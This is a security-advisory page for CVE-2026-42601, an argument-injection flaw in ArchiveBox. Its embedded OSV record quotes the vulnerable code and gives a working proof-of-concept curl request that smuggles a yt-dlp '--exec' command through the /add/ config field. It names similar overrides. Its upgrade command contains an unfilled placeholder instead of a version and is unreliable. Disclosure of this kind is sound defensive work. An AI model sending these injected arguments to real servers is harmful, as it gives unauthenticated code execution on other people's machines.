CVE-2026-42601: Archivebox Remote Code Execution Vulnerability
CRITICALCVE-2026-42601 is a CRITICAL (CVSS 9.8) remote code execution vulnerability (CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')) affecting Archivebox libraries in the PyPI ecosystem. The issue involves archivebox vulnerable to rce via unvalidated per-crawl config overrides in addview. Remediation is available in the latest vendor maintenance releases.
CVE-2026-42601 at a Glance
Security Impact
CVSS: 9.8
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
How to Fix CVE-2026-42601
To remediate this vulnerability, upgrade all affected Archivebox dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install archivebox>=Latest secure releaseRun the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show archiveboxHow to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-42601, inspect your installed packages using pip:
pip show archiveboxAnalyze the terminal output to locate any version of Archivebox in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.
Note: The pip show archivebox command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection'), where the product constructs a string for a command to be executed by a separate component in another control sphere, but it does not properly delimit the intended arguments, options, or switches within that command string. In Archivebox, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-42601 Affected Archivebox Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
archivebox
|
PyPI |
≤ 0.8.6rc0
|
|
References
Frequently Asked Questions
What is CVE-2026-42601?
Which Archivebox versions are affected?
What version fixes CVE-2026-42601?
Is archivebox affected?
What is the CVSS score of CVE-2026-42601?
What CWE is associated with CVE-2026-42601?
How can I check PyPI dependencies for CVE-2026-42601?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-3h23-7824-pj8r",
"modified" : "2026-07-07T13:05:55Z",
"published" : "2026-05-04T21:30:19Z",
"aliases" : [ "CVE-2026-42601" ],
"summary" : "ArchiveBox Vulnerable to RCE via unvalidated per-crawl config overrides in AddView",
"details" : "The /add/ endpoint (AddView in core/views.py) accepts a config JSON field that gets merged into the crawl config without validation. This config is exported as environment variables when archive plugins run, allowing injection of arbitrary tool arguments to achieve RCE.\n\nWhen PUBLIC_ADD_VIEW=True (common for bookmarklet usage), this is exploitable without authentication. The endpoint is also @csrf_exempt.\n\nAffected code:\n\ncore/views.py:887 - user config extracted with no validation:\n custom_config = form.cleaned_data.get(\"config\") or {}\n\ncore/views.py:918 - merged into crawl config:\n config.update(custom_config)\n\nconfig/configset.py:255-256 - crawl config applied with high priority:\n if crawl and hasattr(crawl, \"config\") and crawl.config:\n config.update(crawl.config)\n\nhooks.py:398-411 - config exported as env vars:\n for key, value in config.items():\n if key in SKIP_KEYS: continue\n env[key] = str(value)\n\nplugins/ytdlp/on_Snapshot__02_ytdlp.bg.py:122-123 - env var args passed to yt-dlp:\n ytdlp_args_extra = get_env_array(\"YTDLP_ARGS_EXTRA\", [])\n cmd.extend(ytdlp_args_extra)\n\nPoC (pre-auth when PUBLIC_ADD_VIEW=True):\n\n curl -X POST http://localhost:8000/add/ \\\n -d \"url=https://www.youtube.com/watch?v=dQw4w9WgXcQ\" \\\n -d \"depth=0\" \\\n -d \"config={\\\"YTDLP_ARGS_EXTRA\\\": \\\"[\\\\\\\"--exec\\\\\\\", \\\\\\\"id > /tmp/pwned\\\\\\\"]\\\"}\" \n\nAfter the crawl runs, yt-dlp executes id > /tmp/pwned via its --exec flag.\n\nSame approach works with GALLERYDL_ARGS_EXTRA (gallery-dl --exec), or overriding any *_BINARY key.\n\nImpact: Remote code execution on the ArchiveBox server. Pre-auth when PUBLIC_ADD_VIEW=True.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
}, {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "archivebox"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"last_affected" : "0.8.6rc0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/ArchiveBox/ArchiveBox/security/advisories/GHSA-3h23-7824-pj8r"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-42601"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/ArchiveBox/ArchiveBox"
}, {
"type" : "WEB",
"url" : "https://github.com/pypa/advisory-database/tree/main/vulns/archivebox/PYSEC-2026-283.yaml"
}, {
"type" : "WEB",
"url" : "https://pypi.org/project/archivebox"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-88" ],
"severity" : "CRITICAL",
"github_reviewed" : true,
"github_reviewed_at" : "2026-05-04T21:30:19Z",
"nvd_published_at" : "2026-05-09T20:16:29Z"
}
}